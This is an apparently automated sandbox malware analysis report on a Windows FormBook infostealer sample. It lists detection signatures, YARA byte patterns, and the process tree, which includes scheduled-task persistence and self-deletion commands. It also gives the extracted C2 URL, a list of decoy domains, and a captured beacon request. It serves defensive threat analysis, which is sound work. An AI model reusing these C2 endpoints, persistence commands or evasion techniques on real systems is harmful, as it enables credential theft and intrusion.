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Windows Analysis Report 010013.exe

Overview

General Information

Sample Name:	010013.exe
Analysis ID:	501987
MD5:	b670879d45e75eb7f88fe047f9e88e5f
SHA1:	7497d669a327aebf33ec9dd1c554444d4ee826cf
SHA256:	ec427d5a521cdc4f2690ac7ffa883c982c4e3008991127998b0cfdf32f240f30
Tags:	exeFormbook
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

System process connects to network (likely due to code injection or exploit)

Multi AV Scanner detection for dropped file

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Modifies the prolog of user mode functions (user mode inline hooks)

Self deletion via cmd delete

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Uses schtasks.exe or at.exe to add and modify task schedules

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Drops PE files

Contains functionality to read the PEB

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

010013.exe (PID: 1568 cmdline: 'C:\Users\user\Desktop\010013.exe' MD5: B670879D45E75EB7F88FE047F9E88E5F)

schtasks.exe (PID: 6420 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 1320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

010013.exe (PID: 2128 cmdline: C:\Users\user\Desktop\010013.exe MD5: B670879D45E75EB7F88FE047F9E88E5F)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

netsh.exe (PID: 6648 cmdline: C:\Windows\SysWOW64\netsh.exe MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

cmd.exe (PID: 6680 cmdline: /c del 'C:\Users\user\Desktop\010013.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.nocodehost.com/o4ms/"], "decoy": ["fishingboatpub.com", "trebor72.com", "qualitycleanaustralia.com", "amphilykenyx.com", "jayte90.net", "alveegrace.com", "le-fleursoleil.com", "volumoffer.com", "businessbookwriters.com", "alpin-art.com", "firsttastetogo.com", "catofc.com", "ref-290.com", "sbo2008.com", "fortlauderdaleelevators.com", "shanghaiyalian.com", "majestybags.com", "afcerd.com", "myceliated.com", "ls0a.com", "chautauquapistolpermit.com", "cq1937.com", "riafellowship.com", "sjzlyk120.com", "onlinerebatemall.com", "bjlmzmd.com", "services-neetflix-info.info", "khaapa.com", "thehgboutique.com", "iconndigital.com", "ninjavendas.com", "zeonyej.icu", "iddqdtrk.com", "taoy360.info", "conanagent.icu", "mobileflirting.online", "lorrainelevis.com", "bakerrepublic.com", "tfi50.net", "mildlobr.com", "turnkeypet.com", "instarmall.com", "contilnetnoticias.website", "symbiocrm.com", "earn074.com", "swapf.com", "daveydavisphotography.com", "notes2nobody.com", "pensje.net", "nanoplastiakopoma.com", "inlandempiresublease.com", "donaldjtryump.com", "secondinningseva.com", "zumohub.xyz", "torbiedesigns.com", "koastedco.com", "lifestyleeve.com", "purposepalacevenue.com", "risk-managements.com", "doluhediye.com", "revolutionarylightworkers.com", "smithridge.net", "share-store.net", "jastalks.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x2675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x2777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x28ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x13dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x8317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x931a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x53f9:$sqlite3step: 68 34 1C 7B E1 0x550c:$sqlite3step: 68 34 1C 7B E1 0x5428:$sqlite3text: 68 38 2A 90 C5 0x554d:$sqlite3text: 68 38 2A 90 C5 0x543b:$sqlite3blob: 68 53 D8 7F 8C 0x5563:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x2675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x2777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x28ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x13dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x8317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x931a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x53f9:$sqlite3step: 68 34 1C 7B E1 0x550c:$sqlite3step: 68 34 1C 7B E1 0x5428:$sqlite3text: 68 38 2A 90 C5 0x554d:$sqlite3text: 68 38 2A 90 C5 0x543b:$sqlite3blob: 68 53 D8 7F 8C 0x5563:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x75480:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x756ea:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1f3ce8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1f3f52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8120d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1ffa75:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x80cf9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x1ff561:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x8130f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1ffb77:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x81487:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x1ffcef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x76102:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1f496a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x7ff74:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1fe7dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x76dfb:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1f5663:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x86eaf:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x205717:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x87eb2:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x83f91:$sqlite3step: 68 34 1C 7B E1 0x840a4:$sqlite3step: 68 34 1C 7B E1 0x2027f9:$sqlite3step: 68 34 1C 7B E1 0x20290c:$sqlite3step: 68 34 1C 7B E1 0x83fc0:$sqlite3text: 68 38 2A 90 C5 0x840e5:$sqlite3text: 68 38 2A 90 C5 0x202828:$sqlite3text: 68 38 2A 90 C5 0x20294d:$sqlite3text: 68 38 2A 90 C5 0x83fd3:$sqlite3blob: 68 53 D8 7F 8C 0x840fb:$sqlite3blob: 68 53 D8 7F 8C 0x20283b:$sqlite3blob: 68 53 D8 7F 8C 0x202963:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.707455914.00000000028F1000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 010013.exe PID: 1568	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.010013.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.010013.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14875:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14361:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14977:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14aef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x976a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x135dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa463:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a517:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1b51a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.010013.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x175f9:$sqlite3step: 68 34 1C 7B E1 0x1770c:$sqlite3step: 68 34 1C 7B E1 0x17628:$sqlite3text: 68 38 2A 90 C5 0x1774d:$sqlite3text: 68 38 2A 90 C5 0x1763b:$sqlite3blob: 68 53 D8 7F 8C 0x17763:$sqlite3blob: 68 53 D8 7F 8C
0.2.010013.exe.2912ec4.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
6.2.010013.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.010013.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.010013.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
0.2.010013.exe.293e91c.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 3 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.nocodehost.com/o4ms/"], "decoy": ["fishingboatpub.com", "trebor72.com", "qualitycleanaustralia.com", "amphilykenyx.com", "jayte90.net", "alveegrace.com", "le-fleursoleil.com", "volumoffer.com", "businessbookwriters.com", "alpin-art.com", "firsttastetogo.com", "catofc.com", "ref-290.com", "sbo2008.com", "fortlauderdaleelevators.com", "shanghaiyalian.com", "majestybags.com", "afcerd.com", "myceliated.com", "ls0a.com", "chautauquapistolpermit.com", "cq1937.com", "riafellowship.com", "sjzlyk120.com", "onlinerebatemall.com", "bjlmzmd.com", "services-neetflix-info.info", "khaapa.com", "thehgboutique.com", "iconndigital.com", "ninjavendas.com", "zeonyej.icu", "iddqdtrk.com", "taoy360.info", "conanagent.icu", "mobileflirting.online", "lorrainelevis.com", "bakerrepublic.com", "tfi50.net", "mildlobr.com", "turnkeypet.com", "instarmall.com", "contilnetnoticias.website", "symbiocrm.com", "earn074.com", "swapf.com", "daveydavisphotography.com", "notes2nobody.com", "pensje.net", "nanoplastiakopoma.com", "inlandempiresublease.com", "donaldjtryump.com", "secondinningseva.com", "zumohub.xyz", "torbiedesigns.com", "koastedco.com", "lifestyleeve.com", "purposepalacevenue.com", "risk-managements.com", "doluhediye.com", "revolutionarylightworkers.com", "smithridge.net", "share-store.net", "jastalks.com"]}

Multi AV Scanner detection for submitted file

Show sources

Source: 010013.exe	Virustotal: Detection: 39%			Perma Link
Source: 010013.exe	ReversingLabs: Detection: 32%

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\ELqDlkdxF.exe

ReversingLabs: Detection: 32%

Source: 6.2.010013.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: 010013.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 010013.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: netsh.pdb source: 010013.exe, 00000006.00000002.775295184.0000000002D60000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 010013.exe, 00000006.00000002.774373075.0000000000FCF000.00000040.00000001.sdmp, netsh.exe, 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp
Source:	Binary string: netsh.pdbGCTL source: 010013.exe, 00000006.00000002.775295184.0000000002D60000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdb source: 010013.exe, 00000006.00000002.774373075.0000000000FCF000.00000040.00000001.sdmp, netsh.exe

Source: C:\Users\user\Desktop\010013.exe	Code function: 4x nop then pop edi
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 4x nop then pop edi

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.smithridge.net
Source: C:\Windows\explorer.exe	Domain query: www.lifestyleeve.com
Source: C:\Windows\explorer.exe	Domain query: www.myceliated.com
Source: C:\Windows\explorer.exe	Network Connect: 199.59.242.153 80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.nocodehost.com/o4ms/

Source: Joe Sandbox View

ASN Name: BODIS-NJUS BODIS-NJUS

Source: global traffic

HTTP traffic detected: GET /o4ms/?X61HiLc=8GNZfXhxkQPDp/0Q3wwiQDJ4fZPKroBOtzHsTvHuSmq05FSo/HrWX19J684oFY+7hHWk&jHPhl=5jo4ZxbHw HTTP/1.1Host: www.lifestyleeve.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 199.59.242.153 199.59.242.153

Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: 010013.exe, 00000000.00000002.707455914.00000000028F1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	String found in binary or memory: http://www.collada.org/2005/11/COLLADASchema9Done
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
